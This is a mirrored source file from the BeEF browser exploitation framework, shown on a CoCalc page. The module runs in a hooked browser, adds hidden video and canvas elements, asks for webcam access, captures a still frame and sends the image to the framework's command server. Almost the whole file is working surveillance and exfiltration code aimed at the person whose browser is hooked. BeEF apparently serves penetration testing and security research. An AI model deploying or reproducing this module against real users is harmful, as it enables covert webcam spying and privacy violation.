Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/webcam_html5/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
9
beef.execute(function() {
10
if (beef.browser.hasWebGL()) {
11
beef.debug('[Webcam HTML5] Browser supports WebGL');
12
} else {
13
beef.debug('[Webcam HTML5] Error: WebGL is not supported');
14
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error());
15
return;
16
}
17
18
var vid_id = beef.dom.generateID();
19
var can_id = beef.dom.generateID();
20
var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});
21
var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});
22
$j('body').append(vid_el);
23
$j('body').append(can_el);
24
25
var ctx = can_el.getContext('2d');
26
27
var localMediaStream = null;
28
var streaming = false;
29
30
var width = 320; // We will scale the photo width to this
31
var height = 0; // This will be computed based on the input stream
32
33
34
var cap = function() {
35
if (localMediaStream) {
36
ctx.drawImage(vid_el,0,0,width,height);
37
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
38
} else {
39
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
40
}
41
};
42
43
window.URL = window.URL || window.webkitURL;
44
45
// Older browsers might not implement mediaDevices at all, so we set an empty object first
46
if (navigator.mediaDevices === undefined) {
47
navigator.mediaDevices = {};
48
}
49
50
// Some browsers partially implement mediaDevices. We can't just assign an object
51
// with getUserMedia as it would overwrite existing properties.
52
// Here, we will just add the getUserMedia property if it's missing.
53
if (navigator.mediaDevices.getUserMedia === undefined) {
54
navigator.mediaDevices.getUserMedia = function(constraints) {
55
56
// First get ahold of the legacy getUserMedia, if present
57
var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
58
59
// Some browsers just don't implement it - return a rejected promise with an error
60
// to keep a consistent interface
61
if (!getUserMedia) {
62
return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
63
}
64
65
// Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
66
return new Promise(function(resolve, reject) {
67
getUserMedia.call(navigator, constraints, resolve, reject);
68
});
69
}
70
}
71
72
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) {
73
if ('srcObject' in vid_el) {
74
vid_el.srcObject = stream;
75
vid_el.play();
76
} else {
77
vid_el.src = window.URL.createObjectURL(stream);
78
}
79
localMediaStream = stream;
80
vid_el.addEventListener('canplay', function(ev){
81
if (!streaming) {
82
streaming = true;
83
setTimeout(cap,2000);
84
}
85
}, false);
86
}, function(err) {
87
beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
88
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
89
});
90
91
// Retrieve the chosen div option from BeEF and display
92
var choice = "<%= @choice %>";
93
switch (choice) {
94
case "320x240":
95
size320(); break;
96
case "640x480":
97
size640(); break;
98
case "Full":
99
sizeFull(); break;
100
default:
101
size320(); break;
102
}
103
104
function size320() {
105
width = 320;
106
height = 240;
107
}
108
function size640() {
109
width = 640;
110
height = 480;
111
}
112
function sizeFull() {
113
width = 1280;
114
height = 720;
115
}
116
});
117
118
119